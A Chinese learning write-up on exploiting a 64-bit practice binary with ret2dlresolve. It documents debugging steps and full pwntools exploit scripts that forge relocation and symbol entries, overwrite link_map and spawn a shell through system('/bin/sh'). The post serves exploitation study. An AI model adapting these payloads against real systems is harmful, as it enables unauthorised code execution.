ret2dlresolve(4)

ret2dlresolve(4)

这次是64位下,开了Partial RELRO保护
这次记录自己的解题过程

先测试一下传入自己构造的reloc_arg看看程序能不能正常运行

elf = ELF('./main64')

def debug():
	gdb.attach(p)
	pause()

def csu(r12, r13, r14, r15, ret):
	rbx = 0
	rbp = 1
	payload = p64(0x400766)
	payload += p64(1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(0x400750)
	payload += p64(0) * 7 + p64(ret)#p64(0),让其作为p64(0x400750)后的参数,那么就可以直接替代push 0了
	return payload
	
bss_addr = elf.bss()
newstack_addr = bss_addr + 0x200

offset = b'a' * 88
read = elf.got['read']
main = elf.sym['main']

p.recvline()

plt0 = elf.get_section_by_name('.plt').header.sh_addr
plt0_addr = reloc_addr + 0x8
payload1 = offset + csu(read, 0x8, plt0_addr, 0, main)
p.send(payload1)
p.send(p64(plt0))
p.recvline()
payload2 = offset + csu(plt0_addr, 0x8, 0x400000, 1, main)
p.send(payload2)
p.recvline()

运行后,发现出错了
在这里插入图片描述程序卡在了_dl_fixup+41这个地方,经分析,是因为r8+8这个地址不存在无法访问导致
那么我们往前推进,发现r8主要有rdx来决定,rax没有什么异常

在这里插入图片描述
而rdx由rsi决定,再往前看,发现rsi是在_dl_runtime_resolve_xsavec中调用_dl_fixup函数传递的参数,reloc_offset和link_map
在这里插入图片描述继续查看rbx,发现rbx+0x10处存储的其实是之前调用call指令保存的下一条指令的地址,而这个地址将reloc_offset覆盖掉了
在这里插入图片描述
也就是上面代码中

payload += p64(0) * 7 + p64(ret)
#这以部分,第一个p64(0)就是我要传入write的reloc_offset
#但因为call指令的原因,这个值被覆盖掉了

因此这里就不能用call指令来跳转到plt0处
需要用到ret
那么payload1及之后修改为下面这个

plt0 = elf.get_section_by_name('.plt').header.sh_addr
binsh_addr = reloc_addr + 0x8
payload1 = offset + csu(read, 0x8, binsh_addr, 0, main)
p.send(payload1)
p.send(b'/bin/sh\x00')
p.recvline()
ret_addr = 0x400294
payload2 = offset + csu(elf.got['write'], 0x8, binsh_addr, 1, ret_addr) + p64(plt0) + p64(0)
p.send(payload2)
#这里我先调用了一次write函数,是因为我可以直接通过这个来进行参数传递,之后返回值填plt0,在后面的p64(0)就是write的reloc_args了
print(p.recv(0x10))

预期会输出两次/bin/sh,如下
在这里插入图片描述

那么初步测试算是成功了,接下来就需要伪造一个reloc_args让其指向自己构造的重定位表项

先看一下重定位表项结构,能够看到一共三个字段
在这里插入图片描述这三个字段总共占看0x18也就是24字节
在这里插入图片描述
换成结构体就是

typedef struct
{
  Elf64_Addr        r_offset; /* got表地址 */
  Elf64_Xword       r_info; /* 偏移 */
  Elf64_Sxword      r_addend; /* Addend */
} Elf64_Rela;

r_info中,以write的为例r_info = 0x100000007
其中后4个字节0x00000007是某标志位
前4个字节0x00000001即0x1就是偏移了

根据偏移1,到符号表获取字符表的位置dynsym_addr + 1 * 8,如下
在这里插入图片描述

这里得到的是个Elf64_Sym结构体,如下总共占据了24字节,其中第一个字段占了4个字节
在这里插入图片描述

typedef struct
{
  Elf64_Word     st_name; /*对应符号的偏移 4B*/
  unsigned char  st_info;		//1B
  unsigned char  st_other;	//1B
  Elf64_Section  st_shndx;	//2B
  Elf64_Addr     st_value;	//8B
  Elf64_Xword    st_size;		//8B
} Elf64_Sym;

st_name = 0x3D,如下
0x4003D5 - 0x400398 = 0x3D
在这里插入图片描述现在就可以开始伪造reloc_args和Elf64_Sym了
于是修改了脚本,如下

plt0 = elf.get_section_by_name('.plt').header.sh_addr
payload1 = offset + csu(read, 0x8, binsh_addr, 0, main)
p.send(payload1)
p.send(b'/bin/sh\x00')
p.recvline()

dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
write_reloc = p64(0x601018) + p64(int((write_sym_addr - dynsym) / 24) << 32 | 7) + p64(0)
rela_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
payload2 = offset + csu(read, 24, write_reloc_addr, 0, main)
p.send(payload2)
p.send(write_reloc) #伪造的重定位表项
p.recvline()

payload3 = offset + csu(read, 0x8, write_addr, 0, main)
p.send(payload3)
p.send(b'system\x00')	#伪造的字符
p.recvline()
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
write_sym = p32(write_addr - dynstr) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0)
payload4 = offset + csu(read, len(write_sym), write_sym_addr, 0, main)
p.send(payload4)
p.send(write_sym) #伪造的符号表项,也就是Elf64_Sym
p.recvline()
#debug()
ret_addr = 0x400294
rdi_addr = 0x400773
payload7 = offset + p64(rdi_addr) + p64(binsh_addr) + p64(plt0) + p64(int((write_reloc_addr - rela_plt) / 24))
p.send(payload7)
p.interactive()

执行后(addadd)
在这里插入图片描述果然失败了,那么就看在哪出问题了,如下
发现这里访问量不存在的地址,这里是为了获取版本信息
在这里插入图片描述
部分源码如下

const struct r_found_version *version = NULL;
        if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)
        {
            const ElfW(Half) *vernum = (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);
            ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;
            version = &l->l_versions[ndx];//问题杵在这里
            if (version->hash == 0)
                version = NULL;
        }

所以,为了避开这个问题就需要绕过第一个if,也就是让l->l_info[VERSYMIDX(DT_VERSYM)]为0
根据dynamic能够知道DT_VERSYM,我们的目的是让link_map保存DT_VERSYM的地址不存在就行了
在这里插入图片描述首先泄露link_map地址,这个地址保存在got表,如下
在这里插入图片描述
构造如下程序

payload5 = offset + csu(elf.got['write'], 8, 0x601008, 1, main)
p.send(payload5)
link_map_addr = u64(p.recv(8))
print(hex(link_map_addr))
debug()
p.recvline()

泄露出来的地址是0x7f046f7c6168
之后查找link_map保存DT_VERSYM的偏移,计算得到0x1c8
在这里插入图片描述接着将0x7f046f7c6168 + 0x1c8处用0覆盖,就能绕过那个if判断了
脚本如下

plt0 = elf.get_section_by_name('.plt').header.sh_addr
payload1 = offset + csu(read, 0x8, binsh_addr, 0, main)
p.send(payload1)
p.send(b'/bin/sh\x00')
p.recvline()
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
print(hex(int((write_sym_addr - dynsym) / 24) << 32 | 7))
write_reloc = p64(0x601018) + p64(int((write_sym_addr - dynsym) / 24) << 32 | 7) + p64(0)
rela_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
payload2 = offset + csu(read, 24, write_reloc_addr, 0, main)
p.send(payload2)
p.send(write_reloc)
p.recvline()

payload3 = offset + csu(read, 0x8, write_addr, 0, main)
p.send(payload3)
p.send(b'system\x00')
p.recvline()
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
write_sym = p32(write_addr - dynstr) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0)
payload4 = offset + csu(read, len(write_sym), write_sym_addr, 0, main)
p.send(payload4)
p.send(write_sym)
p.recvline()

payload5 = offset + csu(elf.got['write'], 8, 0x601008, 1, main)
p.send(payload5)
link_map_addr = u64(p.recv(8))
print(hex(link_map_addr))
p.recvline()
payload6 = offset + csu(read, 8, link_map_addr + 0x1c8, 0, main)
p.send(payload6)
p.send(p64(0))
p.recvline()

ret_addr = 0x400294
payload7 = offset + p64(0x400773) + p64(binsh_addr) + p64(plt0) + p64(int((write_reloc_addr - rela_plt) / 24))
p.send(payload7)
p.interactive()

运行结果如下
在这里插入图片描述

最后

ret2dlresolve的学习终于结束了,算了算时间,加上对32位的学习,差不多快一个月了,真难顶。最后,整理了一下这一次的exp

from pwn import *
#context.log_level = "debug"
p = process('./main64')
elf = ELF('./main64')

def debug():
	gdb.attach(p)
	pause()

def csu(r12, r13, r14, r15, ret):
	rbx = 0
	rbp = 1
	payload = p64(0x400766)
	payload += p64(1) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(0x400750)
	payload += p64(0) * 7 + p64(ret)
	return payload

#debug()
bss_addr = elf.bss()
newstack_addr = bss_addr + 0x200
print(hex(newstack_addr))
offset = b'a' * 88
read = elf.got['read']
main = elf.sym['main']
plt0 = elf.get_section_by_name('.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
rela_plt = elf.get_section_by_name('.rela.plt').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr

p.recvline()

binsh_addr = newstack_addr
write_reloc_addr = binsh_addr + 0x10
write_addr = write_reloc_addr + 0x20
write_sym_addr = write_addr + 0x10

payload = offset + csu(read, 0x58, binsh_addr, 0, main)
p.send(payload)
payload1 = b'/bin/sh\x00' + p64(0)
payload1 += p64(0x601018) + p64(int((write_sym_addr - dynsym) / 24) << 32 | 7) + p64(0) + p64(0) #write_reloc
payload1 += b'system\x00\x00' + p64(0)
payload1 += p32(write_addr - dynstr) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0)

p.send(payload1)
p.recvline()

#0x601008 里面存的是link_map的地址
payload2 = offset + csu(elf.got['write'], 8, 0x601008, 1, main)
p.send(payload2)
link_map_addr = u64(p.recv(8))
print(hex(link_map_addr))
p.recvline()
#debug()
payload3 = offset + csu(read, 8, link_map_addr + 0x1c8, 0, main)
p.send(payload3)
p.send(p64(0))
p.recvline()

#debug()
ret_addr = 0x400294
#print(hex(elf.got['write']))
#print(hex(write_reloc_addr - rela_plt))
payload4 = offset + p64(0x400773) + p64(binsh_addr) + p64(plt0) + p64(int((write_reloc_addr - rela_plt) / 24))
p.send(payload4)
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序中的栈溢出漏洞,来控制程序的执行流程,以达到执行libc中的函数的目的。 在ret2libc攻击中,程序会调用libc库中的函数,例如system函数,来执行特定的操作。但是在程序中没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序中的栈溢出漏洞,将栈上的返回地址修改为在libc库中的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc库中的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc库中的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值